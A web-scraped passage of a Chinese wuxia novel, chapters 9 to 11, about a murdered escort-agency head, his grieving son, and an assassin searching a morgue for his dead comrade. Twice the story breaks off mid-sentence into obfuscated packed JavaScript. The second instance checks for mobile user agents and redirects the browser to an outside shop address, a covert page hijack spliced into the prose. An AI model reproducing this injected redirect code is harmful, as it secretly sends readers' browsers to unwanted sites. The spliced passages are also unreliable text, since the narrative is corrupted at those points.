刚进另一处院子,树下便有个黑影叫住了曲玉。 那人走出阴影,面上几缕散乱的头发,胡须泛白,身上披着黑袍。 他语气沉稳,声音沙哑道:“书信拿到了么?” 曲玉立即走上前行了个礼:“书信已拿到,林朝恩已死。”说罢将怀中的书信交给他。 “你与周厉一同回来的?” “我到林宅时林朝恩便已被周厉杀死,只是在追逃过程中周厉踩了檐上的积雪,不慎摔伤了腿,幸好我及时赶到。” “他可知你拿了书信?” “不知,我趁他不注意时搜寻的,他只知您派我前去是为了稳妥。” “那就好。” “阎老大可还有吩咐?” “暂且没有,你也辛苦,好生歇着罢。” “是。”曲玉行了个礼,转身离去。 原想回房,可又绕了一圈走到周厉的住所前。 此时大夫已被叫来瞧周厉的伤腿,不知是否正在正骨,一路上隐忍不发的周厉,这时倒呻吟了几句。 曲玉只站在屋外聆听了半晌,听得周厉并无大碍,便兀自离去了。 9. 第 9 章 江宅院内,丫鬟小厮皆回避,江风山连同一众镖头镖师跪在地上,江远倾则跪在后排。 人群跪拜的方向,站着一位身着宫廷服饰的太监。他挺直腰板,摆摆衣袖,缓缓摊开手中的丝制黄卷,一脸庄重威严道: “奉天承运,皇帝诏曰:朕闻之,礼部尚书杨重明之婿江风山,武艺超群,英勇善战,实乃国家之栋梁,百姓之福祉。特命其速往宁王处,护送万寿节礼。望尔等谨慎行事,沿途不得有误,钦此。” “吾皇万岁万岁万万岁。”众人磕头领旨,江风山起身接旨。 宣旨太监满脸堆笑,一扫方才的严肃神态,细声细语朝江风山道:“江总镖头,皇上知晓您的才能卓越,只是一直未有良机。今日圣上特赐立功之机,当勉力以赴,勿令圣上失望。” “公公所言极是,在下定当全力以赴,不辱圣恩。有劳公公跋涉而来,可否屈尊于寒舍吃些便饭?”江风山道。 “不了不了,我还有要务在身。圣旨已下,江总镖头还需早日动身才是。” “多谢公公提醒,今日吾等便可动身。” “那便好。”说罢宣旨太监笑而颔首,告辞离去。 众人也都起身继续收拾行囊。 江夫人抱了几件冬衣走来,递给江风山:“这些是新做的,去见宁王时可不能穿得如此寒酸,失了礼数。” “谢夫人。”江风山粗糙的面皮皱起了笑意,“夫人可还有话对我说?” 江夫人欲抬脚离开,见他这样问便疑惑道:“什么话?” “既无话说,也无妨。”江风山脸上的皱纹渐渐摊开。 “此去与你以往护镖无甚不同,只是都需小心谨慎,凡事不要强出头。” “知道了夫人。”江风山拱手做了个遵命状,继而面露几分怜惜,“自你嫁于我以来,我一直忙于镖局事务,家中全靠夫人打理,苦了你了。” “说的什么话。”江夫人走近几步,低声道:“若不是因为我的身份,你也不必风餐露宿,如此辛苦。” “夫人,等这次回来,我就将镖局交于手下的兄弟打理,不再频繁外出。”江风山顿了顿,突然想起什么,“对了,镖局里我留下马镖头管理事务,我不在家时你若遇到什么难事,可唤人去镖局里找马镖头。” “我知晓了,此去长路漫漫,见了宁王后莫忘了写封书信。” “知道了。” 一旁的江远倾见爹娘依依不舍却克制收敛的模样,不忍打扰,便出门查看马匹。 他后脚刚跨过门槛,便见远处一辆马车风风火火驶来,尘土飞扬。临近江宅大门时,车夫长吁一声勒住马匹。 马车上下来一位身着官服的人,留着八字胡须,步伐稳健从容。江远倾一眼认出,连忙上前。 “赵伯父安好,赵伯父来此可是为爹爹送行?” “嗯。”赵老爷神色肃然,捋了捋胡须道:“宫中太监可曾来宣旨?” “来过,宣旨后便走了。” “你爹爹可在家中?” “正在家中收拾行囊,准备启程。” “好,我去寻他。” 江远倾叫来一位随从,引赵老爷进去,自己则留在门口查看马匹。 赵老爷前脚进门,马车里又冒出一人。 “远倾哥哥!” 江远倾抬头望去,车帘后探出一张清丽灵动的脸蛋,明亮的眼眸正盯着他。 “兰儿?!你也来了?” “当然,兰儿来为你送行。” “送行?” “听闻圣上下旨,命江家赴宁王府护送万寿节礼,兰儿可不是要来送行么?”赵兰轻轻瘪了瘪嘴。 江远倾亲眼见着她眸中的亮光逐渐黯淡下去,明明一脸难掩的沉重,却还是要挤出个笑容来。 “兰儿祝你一路平安,万事顺遂,别忘了……” 江远倾注意到她快速朝自己的腰间瞥了一眼,继而语气瞬间微弱了许多,可还不忘将话说完。 “别忘了给江伯母写信。”说完她低下头,整个人似骄阳下晒蔫的鲜花,没了神采。 “谁和你说我也要去的?”江远倾看她这副模样,忍不住道。 “什么?”赵兰一个激灵抬起头,像是耷拉的花骨朵不知被谁提溜了起来,“你不去么?” 江远倾忍住笑意,摇了摇头:“皇上只派了爹爹去,未曾提我,况且爹爹命我在家准备科举。” “原来如此,我还以为……”赵兰暗暗松了口气,尴尬地笑了笑,脸上顿时泛起淡淡的红晕。 “我……我送你的东西,你不喜欢么?” “什么?”江远倾看她嗫嚅的样子,装作没有听清。 “就是……那个荷包!”赵兰急得脸颊愈发红润,忍不住大声道。 这倒是惊住了江远倾,他连忙环顾四周,幸好四下无人,刚刚喂马的小厮已去了别处。 “我知道。”他一脸从容,似乎无事发生,“我在家中的一举一动皆由爹娘管束,若是让他们撞见,定要怪责我未用心读书。” “你不是参加武举么?” “我改变注意了,还是参加文举,将来才能更好地助外祖父一臂之力。” 赵兰顿时双眉紧锁,面露淡淡忧色:“也好,不过兰儿相信,无论哪条路,远倾哥哥都能很好地走下去。”说罢,她似下定决心,毅然决然伸出一只手。 “什么?”江远倾对她这一举动有些不解。 “你还是还给我罢,否则误了大事可不好,若让伯父伯母撞见……” “哪有将送出去的礼物要回去的?” “嗯?”赵兰未料到他会说出这番话,睁着疑惑的眼睛看着他。 “我的意思是……我已将荷包收进柜里,此时不在身边,爹爹又要启程,杂事颇多,不便给你。” “那……等你闲时再说罢。”赵兰只好妥协。 江远倾点头应允,随后继续检查马匹。 待诸事皆已检查齐备,众人将要携带的兵器行李等都装进箱子里,出发的人员都整齐地列在门口,等待启程的号令。 书房中,江风山穿戴整齐,手持香火,恭恭敬敬地朝关公像拜了三拜,随即将香火插进炉中。 转身时,便看见江远倾安静地恭候在一旁。曾经稚嫩懵懂的脸庞,如今已成熟了许多,稳重坚毅,不露声色,有着与年纪不相匹配的云淡风轻。 “远倾,爹爹常年出门在外走镖,与你聚少离多,你怪我么?”江风山语气比平日里温和了许多。 “爹爹说的哪里的话,您虽在外奔波劳碌,可您对孩儿的教导不比别人的父亲少,您说过的话孩儿都牢记在心。” “你是个好孩子,为父有你这样的儿子也算是今生有幸。” 江远倾愣了一瞬,鼻头发酸,眼睛发热,紧抿嘴唇说不出话来。 江风山叹了口气道:“岳父在朝中虽身居高位,风光无限,可谁又能懂他的处境艰难。刘党势力盘根错节,你外祖父的身边也尽是背信弃义、畏葸不前之辈。不过,纵然如此,他也从未惧怕过,从未忘记自己肩上的职责。爹爹此行虽是护送圣上的万寿节礼,却是与你外祖父殊途同归,皆是为了圣上、为了百姓。” 江风山粗糙的面皮露出少见的温柔,他抬起一只手轻轻地拍打江远倾的肩膀:“远倾,古之立大事者,不惟有超世之才,亦必有坚忍不拔之志。爹爹素来对你严格管教,也是希望你将来能够成为一个有担当的人。想好你最终的目的是什么,并为之而努力。” 江远倾听完父亲的一番苦心教导,眼里逐渐朦胧,升起一层白雾。 江风山又拍了几下,未再多言,抬脚走出书房,朝大门走去。 门口众人皆已整装待发,江夫人、赵老爷连同赵兰一行人,都站在门口,目光投向江风山。 江风山笑脸盈盈地朝赵老爷行了个礼:“有劳贤弟特来送行。” 说罢,他纵身上马,手握缰绳,声音如雷霆震耳:“出发!” 一众人浩浩荡荡地朝着日光行去,人影交错,江风山的背影渐渐淹没在人群中。 阎宅,曲玉端来一盆热水往周厉歇息的房中行去,还未进门时,便隔着窗户听见里面的谈话声,他很快辨出那是阎老大的声音。 “听闻你受伤了?”阎老大关切地问道。 “只是不慎摔伤,大夫已经将骨头接好了,多谢阎老大关心。”周厉躺在床上,语气客套。 “没有大碍便好,这林朝恩倒还有些身手。” “我以为他只是一介文弱书生,没想到也学了些功夫傍身,幸好曲玉及时赶到。” 听到自己的名字,曲玉凑近了些。 “我也是为了稳妥,才叫曲玉寻你,他还从林朝恩住处搜到卖国通敌的书信。” “书信?我怎未曾看到他拿过什么书信?”周厉佯装吃惊的模样,继而一脸恍然大悟,“我知道了,定是去探林朝恩鼻息时从他身上搜来的。” “那便是了。” 曲玉听得房内二人沉默了片刻,过了一会,阎老大转移话题道:“四年了,我还能想起当初在一处破宅院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他将那面具默默捡起放在桌子上,把水盆捧到周厉跟前。 “我不需要你帮我换药,叫别人来。”周厉愤愤道。 “你怎得如此固执?阎老大都亲自来看你了,换做林朝恩,他会管你这种人的死活么?你还为了他与我们置气。” “救了我,我就要蒙住眼睛,不分黑白地替他卖命么?” “你小声些,阎老大也说了,他有他的苦衷。” “有苦衷就去讨好刘承贤么?” 曲玉叹了口气:“虽然我不知晓实情,但我知道任何事情都是有代价的,哪怕是惩恶扬善。阎老大这么做,定有他自己的道理。” 周厉未再回嘴,只双拳紧握,一言不发地生着闷气。 曲玉见他不发话,便擅自掀开被子替他换药,一边换药一边喃喃道:“世间事哪有桩桩都理得清的?老天爷都不分黑白,你分个黑白有什么用?” “我只知道,一步错,步步错。”周厉执拗地别过脸。 曲玉扫了他一眼:“你别以为我不知道你是故意摔下去的,何必呢?你只与林朝恩见了一面,他说了几句话你就信了?还与我闹这么大的脾气。这四年你我刀尖上的兄弟情义也算是喂了狗,连我给你做的面具都不要了。” “是我过命的兄弟,就更不该骗我!”周厉愤慨道。 “我也不想骗你,但你太过执拗。有人想要林朝恩的命,他就活不了,这岂是你我能干涉的?” “阎老大当初和我说过,我们杀的人都不是好人,可现在呢?我一直以为我是替天行道,没想到我只是被人蒙了眼睛的刽子手!” “你不是刽子手,我是。”曲玉站起身,一脸决绝,“别忘了,杀了林朝恩的是我,你若是想替他报仇,尽管来找我。不过你也别忘了,有人藏在阎老大的背后要杀林朝恩,连阎老大都不敢忤逆。你若是放走林朝恩,死的就是你,你自己好好想想。” 说完曲玉端着水盆转身离去。 周厉满腹怒气地坐在床上,他从怀中取出一个物件,是林朝恩所写的奏折草拟本,他看着林朝恩的奏折陷入了沉思。 “究竟什么是对的,什么是错的……” 房间里一片沉寂,只剩周厉的喃喃自语…… 接下来的日子,都是大夫来替周厉换药。 周厉许久不见曲玉的身影,心中有些不安。他担心自己的谎言被阎老大识破,连累了曲玉。 一日大夫照例来换药时,周厉忍不住向他问道:“你可见过曲玉?” “阎老大给他派了任务。”大夫一边换药,一边回道。 “什么任务?” “这我可不知晓。” “他已经走了?” “早就出发了。” 周厉静静地看着桌上的狼脸面具,不知为何,心中隐隐有些不详的预感。 10. 第 10 章 雪化后,只出了几日太阳,天又变得阴沉。在一片沉寂无风的氛围里,星星点点的雪花从凝重的天空中纷纷扬扬落下,叫这暗沉的世间为之一振。在悄无声息中,大地又盖上了一层洁白轻盈的白布,空气中散发着冰冷清冽的味道。 “老爷来信了!” 丫鬟曼儿在江宅中一边喊道一边快步走着,身后跟了一男子。他的帽子肩上都覆了一层雪,露出的发丝被雪水打湿,凝结成晶莹剔透的冰条。 一个丫鬟虚掩房门,朝外面奔来的曼儿招呼:“快进来,夫人等着呢。” 曼儿连同身后的男子皆穿过门缝,进入房中,一阵暖意扑面而来。 “夫人,老爷派小的给您送信。”男子行了个礼,将怀中的信件递给丫鬟。 “好,你快去烤火暖暖身子罢。”江夫人道。 一旁的丫鬟赶忙去拿干爽的衣物给他换上,不料才打开门,就差点与进来的江远倾撞上。 “娘,听说爹爹来信了?” “你慢些,横冲直撞的成何体统?”江夫人指着烤火的信使道:“刚刚送到,还未打开瞧呢。” 丫鬟将信递给江夫人,江夫人拆开信封,细细读了片刻才递给江远倾。 “你爹爹说已经到了宁王府。” “这信送过来也需要些时日,想必爹爹现在已经离开宁王府,护送万寿节礼北上进京了。” “你跟着老爷,一路可还平安?”江夫人朝正在烤火的信使问道。 “回夫人,这一路没有生出什么事。” “老爷见了宁王,举止可都合乎礼仪?” “老爷将夫人的话都铭记在心,一举一动都恭恭敬敬,未出差错。王爷也是个古道热肠的人,见老爷远道而来,便盛情款待。还拉着老爷一起品鉴从各地搜罗的奇珍异宝,对老爷甚是信任。” “那便好,王爷终究还是顾着父亲在朝中的身份,没有因为老爷是个粗人便有所怠慢。”江夫人松了口气。 “夫人放心,老爷可是奉旨而行,虽无官职,却受圣恩,飞黄腾达是迟早的事,王爷自然不敢怠慢。” “我只求他一路平安,日后将万寿节礼送到,面见圣上的时候,也稳稳当当的,不要出什么差错才好。” “母亲放心,爹爹在江湖中行走多年,基本的礼节还是了然于心。”江远倾也上前宽慰道。 江夫人点头会意,隐隐不安的心终于放下。 夜色如墨,大雪纷飞,阎宅门上悬挂着两盏灯笼。 昏黄的灯光下,飞舞的雪花也沾染了陈旧的色彩,似密密麻麻的无头飞虫四处乱窜。 一匹快马飞驰而来在阎宅门口停住,马上的男子下马时一个踉跄跌倒在雪地里,他挣扎起身,雪地上留下几滴鲜血。 “快开门!快开门!”他用尽全身力气拍打阎宅大门。 门里传来声音:“是谁在敲门?” “我是张安,快开门!” 门里的人不再发问,只听得一阵挑开门闩的声音,随即大门打开。 “师弟?你怎么受伤了?就你一个人回来么?” “快去叫阎老大……”张安声音微弱,浑身无力,脸色惨淡似白纸。 “好好好,我待会就去叫阎老大,你先进来叫大夫才是要紧。”说罢便赶紧扶张安进门。 院内一阵嘈杂,起先的敲门声就惊醒了周厉,其它师兄师弟穿上外衣出门查看,你一言我一语甚是吵闹。 周厉拉住一位从外面走进来的师弟问道:“发生什么事了?” “听说有位兄弟回来了,还受了重伤,进门便被扶去阎老大屋里了。” “你可看清是谁?是曲玉么?” “外面黑得很,看不真切。” 周厉顿时感到心跳极快,呼吸急促,头也开始有些晕。他趁人不注意,悄悄拿起了雁翎刀。 阎老大房内,张安躺在床上面色苍白,额上凝起豆大的汗珠,一旁的大夫忙为他止血包扎。 “发生什么事了?曲玉呢?”阎老大急切地问道。 “我与曲玉一路跟着,直到一处叫野林岗的地方。我们还未出手,就突然冒出一伙盗匪。趁他们鏖战时,我想着偷袭他,没想到他的手下反应极快,拖住了我……” “……我只打了几个回合,就不见了他的踪影,连同曲玉也不知所踪。我好不容易逃了出来,在附近找了许久也未找到曲玉。我本来想去当地衙门的停尸房看看,可是我受了伤……实在无能无力……”说完张安咳嗽了起来,胸前的伤口渗出一道血色。 “阎老大,他受了重伤,失血过多,又一路吹了风雪赶来,现下虚弱得很,还是让他少说些话为好。”大夫眉头紧锁道。 “好。”阎老大叹了口气,“眼下这事千万不要透露出去,我明日叫人去那衙门里的停尸房打探,看看是否有曲玉……” 话音刚落,一声巨响从门口传来,屋内众人朝门口望去。 只见门被暴力推开,又被风吹得摇摇晃晃,发出“吱呀”的异响。雪花飘了进来,门口站着一个人,用刀杵在地上支撑身子。他的头上肩上落了一层积雪,冻得浑身发抖,不知在门外站了多久。 “周厉?!你在做什么?”阎老大厉声喝道。 “曲玉在哪里?” “我……” “你到底派他去杀谁?”周厉的脸上冻得发紫,“什么时候了,还不说么?” 见房内几人仍无动静,周厉一瘸一拐走近,忽然拔刀指向阎老大。 “这可使不得……”一旁的大夫试图劝解。 “说!不说我就杀了你!” “江风山,我派他去杀江风山。” 周厉脸上闪过一丝惊诧,似被雷电击中一般,这名字怎得如此熟悉…… “哪个江风山?” “风灵城的江家。” 这话一出,周厉拿刀的手微微颤动了几下:“曲玉呢?他在哪里?” “我们也不知晓,不在野林岗附近,兴许被官府里的人……”阎老大没有将话继续说下去。 “他当时定是去追江风山去了。”一旁的张安忍痛道。 “好,我去找他,活要见人,死要见尸。”说罢周厉将刀收回刀鞘,又一瘸一拐出门。 “不拦着他么?”大夫朝阎老大道。 “找不到曲玉,他是不会善罢甘休的。”阎老大看着门外的鹅毛大雪,眼神中充满了哀伤。 江宅,江远倾正在书房内读书。 火盆里的炭火燃得正旺,跳动的火花闪烁着温暖的黄色光芒,不断向四周散发热量,让人一时忘却外间寒冷的风雪。 江远倾抬头望向窗户,此时的窗户似被白纱笼罩,外面的雪景一片朦胧。 突然,一个人影从窗前经过,来到门前,随即传来敲门声。 “公子,镖局里的马镖头求见,说是有要紧事。” “知道了。” 江远倾放下书本,简单整理着装,朝正厅行去。 一进正厅,马镖头抬头看见江远倾,便跪倒在地。他一脸痛苦,哭声凄厉,泪流不止,喉中呜咽着说不出话来。 江远倾从未见过马镖头这副模样,一个曾闯荡江湖见过大风大浪的男子,竟跪在他面前涕泗横流。想到这,他的心里顿时涌起诸多的恐慌和惊惧。 “马镖头,发生什么事了?”江远倾的声音有些颤抖。 “公子……总镖头他……他遇害了……” 大雪纷飞,江远倾却觉得传来一声雷鸣。虽披着厚袄,却觉得寒风从四面八方呼啸而来,钻进他的躯体,将他冻得浑身僵硬。他感到自己的心跳如鼓鸣,怎么也吸不进气,脚下一阵发软。 “……你说什么?父亲怎么了?” “他们经过一处名为野林岗的地方时,突然冒出来一伙盗匪,不由分说地上来就杀人。那盗匪人数颇多,还有支援,武艺着实高强。众兄弟使出了浑身解数却也是死的死、伤的伤,运送的万寿节礼被他们皆数夺去。死里逃生的两名兄弟在打斗时见总镖头往密林去了,待他们去往密林时,只看到总镖头身受重伤地躺在地上,没了气息……” 身后传来倒地的声音,江远倾立即转头,只见母亲伏在地上,脸色发白。 “娘!”江远倾连忙扶起母亲。 “怎么会这样……你爹爹武艺高强……怎么会死……”江夫人的泪水止不住地流淌,“他们确定那是老爷么,会不会是弄错了?” “他们派人先来传信,在当地置办了棺椁,日夜兼程,想必明日就会回来。”马镖头仍跪在地上胡乱抹着泪水。 “怎么会这样,怎么会这样?明明前几日信里还说一切平安……”江夫人放声嚎哭,江远倾忍住心中的悲痛扶住母亲。 “为什么……为什么?”江夫人不断地捶打胸口,面容十分痛苦。 哭了几声后终接受不了沉重的打击,身子一软,晕了过去。 江远倾连忙背起江夫人,一面朝厢房走一面吩咐马镖头:“明日我去镖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14611557|156119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 局候着,你先回去管理好镖局事务,不要声张。” 马镖头连连答应,江远倾这才背着母亲朝厢房行去…… 雪夜,衙门里停尸房门前两名差役正喝酒聊天。 一名差役边倒酒便抱怨道:“这么冷的天,还要派人看守,上面的人真是不把我们的命当命。” “这可是大案,事关圣上,若出了事,你我都担待不起。”另一名差役道。 “我就奇了怪了,我们这小小的地方怎得一夜之间冒出这么多贼寇,竟敢去抢皇上的万寿节礼,真是吃了熊心豹子胆!” “这些贼寇可不是一般人,连大名鼎鼎的江氏镖局都败在他们手上。万寿节礼丢失,皇上必定龙颜大怒,有些人可要吃不了兜着走喽。” “听说这万寿节礼可是宁王费尽了心思从五湖四海搜罗而来,其中有名人字画,还有珍稀玉石,这些加在一块儿得值多少银两啊!” “价值连城。”另一位差役低声道。 “怪不得那些贼寇闻风而来,里面随便一个物件就够他们过上几辈子了。”说话的差役端起酒坛,叹了口气,“可怜我们兄弟俩,拿着微薄的俸禄还要在这看死人。” “这话可不能随便说出口。”另一名差役抢过酒坛,“这酒只是用来暖身子,不可多喝。” “好好好,听哥哥的。不过,镖局里的人都死得差不多了,那些贼寇也早早带着金银财宝逃跑了,这些死人还会有人偷么?” “管他有人偷无人偷,我们哥俩做好本分便是。” 说话间,围墙边雪地里传来沉闷的踩雪声,只响了几声便恢复寂静。 “哥哥,我怎么听得围墙那边有些动静。” “嘘。”另一个差役将手指放在嘴前,低声道:“去瞧瞧。” 围墙边种了几棵树,在夜里黑漆漆的,两位差役不敢马虎,拔出佩刀小心上前。 走在前头的差役靠近围墙,却见树后空无一物。突然,身后传来一声苦叫,前头的差役连忙转身,只见自己的同伴被人击晕在地。还未细看几眼,旁边的树里钻出一个黑影,冲上来往他脖颈上就是一掌,他顿觉眼冒金星,很快晕了过去。 那黑影戴着个狼脸面具,在两名差役身上搜罗了一番,不多时就搜出一串钥匙。 他一瘸一拐地将两名差役先后拖到一个房间里并关上门,之后来到停尸房门前试了几把钥匙才打开房门。 一进停尸房,一股浓重的血腥味扑面而来,夹带着冰雪的冷冽,让人十分不适。 周厉来停尸房前,已经在野林岗附近找了许久,也不见曲玉的身影。倒是在密林里看到一辆被丢弃的镖车,以及一路散落的大小不一的石头。 停尸房里果然如差役所说,停放了许多尸体,这些尸体都盖着白布,身形不一。 周厉一具一具地掀开白布查看,每掀开一块白布,都令他心惊不已。 有的人头颅与躯体几近断裂,有的人肢体残缺,有的人满脸血污,难以辨认。 翻遍停尸房的躯体也不见曲玉,倒是让周厉胃里一阵翻腾。 他将白布盖上,恢复原状后准备离开,却在余光中瞥见一个小房间里也盖了层白布。那白布下的身形十分清瘦,躺在黑暗中的角落平静宁和。 周厉缓缓走近,心中忐忑不安。 他轻轻掀开白布,只看了一眼便迅速盖上。 那对眉毛,那熟悉的轮廓,他无法否认。只是这副宁静羸弱的面容,他从未见过。 他努力克制内心的悲痛,咬紧牙关,鼓起勇气又掀开白布。 是他的脸无疑,只是没了平日里与自己争辩时的神气。 “我找了你许久,你倒好,独自一人躺在这里。”周厉自言自语道。 “起来,和我回去。” 曲玉躺在地上无声无息,停尸房里一片静默,只有灯烛燃烧时发出的噼啪声。 “到底是谁伤了你?你明明轻功那么好,连我都追不上,怎么偏偏这次逃不过。” “你也是倔脾气,阎老大叫你杀人,你就拿命去搏。” 周厉喃喃自语了许久,终觉得心中无力,忍不住哭了起来。 他背起曲玉,一瘸一拐推门而出。出了门,便觉寒风刺骨,鼻子里的血腥味逐渐淡去,取而代之的却是一阵酸涩。每一片雪花落在他的身上,都是如此的沉重冰冷。 他的步伐愈发艰难,似乎每踏一步都将要深陷其中。 “叫你平日里多吃些肉,背起来轻飘飘的。” 11. 第 11 章 连续下了几天的雪,江宅里处处积雪深厚,屋檐上的雪层层叠叠,看起来沉甸甸的,似要将瓦片压垮。 一条白色丧幡在风中飞舞,飘摇不定,不多时便被白雪浸湿,愈发沉重无力。 厅内摆放着一具灵柩,灵柩前设了供桌,桌上放了白色蜡烛和香案,正中间是一个木制的牌位,上写:先考江公讳风山府君生西之莲位。 江远倾身穿孝服跪在地上,将纸钱放进火盆里。纸钱遇火迅速化为灰烬,火星子四处飞舞,只闪了一瞬随即熄灭。 江远倾盯着不断腾空的火星子怔怔出神,父亲被运回镖局的那一幕仍在他的脑海里回荡: 平日里威武严肃的父亲,却静静地躺在狭窄的棺材里,他的脸上还留存着风雨的痕迹,他的身躯依旧健壮。只是,他紧闭双眼,对周围人的痛苦永远无法感知。 江远倾忍住悲痛,小心翼翼地检查了父亲的伤口,他的身上只有两处伤口。 第一处是胸前的箭伤,伤口虽深却未及要害,第二处是脖颈处的刀伤,也是致命伤。 从两处伤口来看,来者凶残果断,功力深厚,且深知父亲武艺高强,于是先远远地射出箭矢,让父亲失去抵挡之力,再一刀毙命。 想到这,江远倾心中顿生狠意,他站起身走到灵堂门口,任凭细雪吹在自己的脸上。 廊下一位丫鬟往江夫人房间的方向快步走去,江远倾立即叫住了她:“曼儿,我有话问你。” 曼儿停下脚步,端着药汤朝江远倾走来:“公子,您有何吩咐?” “夫人身体可有好转?”江远倾声音嘶哑道。 “吃了几副药,早就醒了,只是醒后什么也不愿吃。”曼儿面露忧色道。 “且先做些清淡的饭菜,晚些时候我去看看母亲。” “是,公子。”曼儿看了江远倾一眼,却不挪步,眼睛里瞬间有了泪花。 “公子,您可要好好顾着身体,我瞧您整日不休息,脸上憔悴了许多,夫人若是看到了又要伤心了。” “嗯,我自有分寸,你也是,在夫人面前稳重些。” “曼儿知道了。”曼儿行了个礼,转身端着汤药朝江夫人房中行去。 曼儿走后,江远倾见江全站在柱子后畏畏缩缩,一副欲言又止的样子,便叫住了他。 “江全,你有话要对我说么?” 江全从柱子后走出来,吞吞吐吐道:“公子,您真的不见巧烟么?我瞧她在后门站了许久,没有要走的意思。这么冷的天,又在下雪……” “见了她,又有什么好说?”江远倾怅然地望着雪花,陷入沉默。 “公子!江公子!”前院传来一阵急促的呼喊声打断了他们的谈话,江远倾和江全循声望去,一个小厮火急火燎地朝他们跑来,江远倾认出那是外祖母身边的小厮。 “什么事?怎得如此慌张?是外祖母派你来的么?” 那小厮还未开口,便嚎啕大哭起来:“江公子,不好了。老爷子今日上朝时,圣上震怒,说是怀疑镖局里有贼寇同党,要好好排查。老爷子在朝堂上为江总镖头说了几句话,没成想圣上说老爷子也难辞其咎,将他一并下狱,听候发落了。” 江远倾听他哭哭啼啼地说完,顿时心如刀绞,只觉得天昏地暗。他克制住发抖的身子,一把抓住小厮的手臂,急切地问道:“可派人去狱中打点了?外祖母身子可好?” 小厮一边抽泣一边回道:“已派人带了不少银两去打点了,老太太听了这个消息哭了一阵,但好在身子无恙,还派小的前来告知公子。” “无恙便好,便好……”江远倾深吸一口寒气,却引得胸中一阵痛痒,忍不住咳嗽起来。这一咳竟停不下来,反而愈发剧烈,似喉咙被紧紧勒住,陷入窒息。 江远倾从怀中取出手帕,遮掩口鼻,突然,一口血喷涌而出,浸湿手帕。 江全连同那位小厮不禁惊声道:“血……公子,您这是怎么了?” 江远倾摆摆手,连忙制止住他们:“莫要喧哗,莫要喧哗……” “公子……”江全望着江远倾苍白的脸,也忍不住抹了眼泪。 “江全,不要告诉夫人,若是夫人知道了,我就将你赶出江家。” “知道了公子,我去给你请大夫罢……” “大夫登门,夫人定会知晓,我自有分寸。”江远倾将目光转向外祖母家来的小厮,“你也是,派去打点的人也要小心着,务必将钱用到实处。我的事也不要在外祖母那里声张,外祖母现下急火攻心,你若是告诉她,只会害她。” “小的知道了公子。” “还有,在我面前也就罢了,在夫人和外祖母面前不可这样哭哭啼啼。” 那二人听得江远倾这样说,连忙擦去脸上的泪水。 “回去复命时,莫要提夫人晕倒的事,也要多多劝解外祖母。圣上现下正在气头上,要查便查,犯事的是盗匪,与外祖父无关。外祖父在朝中多年,颇有些声望,圣上定不会轻易发落了他。” “好,小的回去定劝劝老太太。” “你去罢。” 见小厮离去,江全连忙搀扶江远倾往厢房里去,没想到江远倾站在原地,不愿挪步。 “公子,这里天寒地冻的,您先去歇歇罢。” “你方才说巧烟站在后门口不愿离去么?” “公子若不愿见她,小的待会再去劝劝巧烟姑娘。” “你带我去见她罢。” 江全愣了一瞬,立马反应过来:“好好好,公子随我来。” 二人来到后门,开门的声音将站在门口的巧烟吓了一跳。 “巧烟姑娘,公子来见你了。”江全道。 巧烟看见江远倾,冻得通红的脸上没有一丝笑容,她未理会江全,径直朝江远倾行了个礼。 “江老爷遇此变故,实在令人悲痛。但逝者已矣,生者如斯,还请公子节哀顺变。” “这些我都知晓,今日远倾有诸多事务需要处理,实在抽不出身,还请姑娘谅解。” “公子言重,江老爷的丧事定是最要紧的,巧烟明白。” “你找我,可是你家小姐有事?” “实不相瞒……”巧烟眼眶发红,语气略有哽咽道:“巧烟是偷偷跑出来的,小姐她实在是挂念公子,可是现下被老爷禁足,多有不便,于是便派奴婢来寻公子,转达她的话。” “小姐说,公子定要保重身体,莫要伤心过度。江夫人还需公子照顾,镖局也需公子操持。” “我知道了,你回去转达你家小姐,她的心意,远倾谢过。”说罢,江远倾转身欲走。 “公子。”巧烟连忙喊道,“公子不问问小姐的近况么?” 江远倾缓缓转身,一脸淡然道:“你刚才不是和我说了,你家小姐被禁了足么?” “公子这句话好绝情,虽说我们家老爷不仁义,但小姐她对你可是情深义重。她为了你与老爷抗衡,才落了个禁足的下场,现下她茶不思饭不想,坐在家里等着奴婢给她传送消息,却得了你这番话。” 江远倾沉默片刻道:“自从家父遇难以来,平日里巴结的人都对我们江家唯恐避之不及。人往高处走,水往低处流,这是再简单不过的道理,远倾怎会不明白?现下我们江家处境艰难,惹怒皇上,得罪宁王,赵伯父不来吊唁,其中苦楚远倾理解。请姑娘回去转告你家小姐,认清眼前形势,莫要忤逆伯父。只当远倾福薄,不能与姑娘共度此生了。” “公子这话是要彻底断了与我家小姐的情谊么?” “江家已再无资格与赵家联姻,赵伯父……”江远倾捂住胸口,忍住咳意,继续说道:“赵伯父所做的事也许有他的用意,望你家小姐早些审时度势。” 说罢,江远倾转身决绝离去。江全愣在原地,听着他们的对话一句也插不进去,无奈只能与巧烟道别,跟上江远倾。 门咣当一声关上,巧烟强忍泪水,转身快步离开。 江全连忙跟上江远倾,忍不住道:“这赵家父女性情差异悬殊,一个树倒猢狲散,一个竟还挂念着公子您。赵家老爷不来吊唁,摆明了是想与我们江家撇清关系,可惜赵兰小姐却还不懂得她父亲的意思。” 江远倾放缓脚步,深深地叹了口气:“人情往来,皆是为了利字。面对利益的抉择,谁又能一直保持真心?所谓的缘分,不过是因利而聚,因利而散罢了。” 雪不知何时已渐渐变小,空中飞舞着大小不一的碎片,零零落落,一副萧瑟凄凉的模样。 江全瞥了眼他的脸庞,惨白如雪,毫无生气,顿觉肝肠寸断。内心搜刮了许多安慰人的话,可到了嘴里一句也说不出。 “公子,管他利来利往,老天自有公断。天色不早了,您不是还要去看望夫人么?” “嗯,走罢。” 阎宅,大夫正在为张安换药。换好外敷的药,又端了内服的汤药喂于张安喝下。 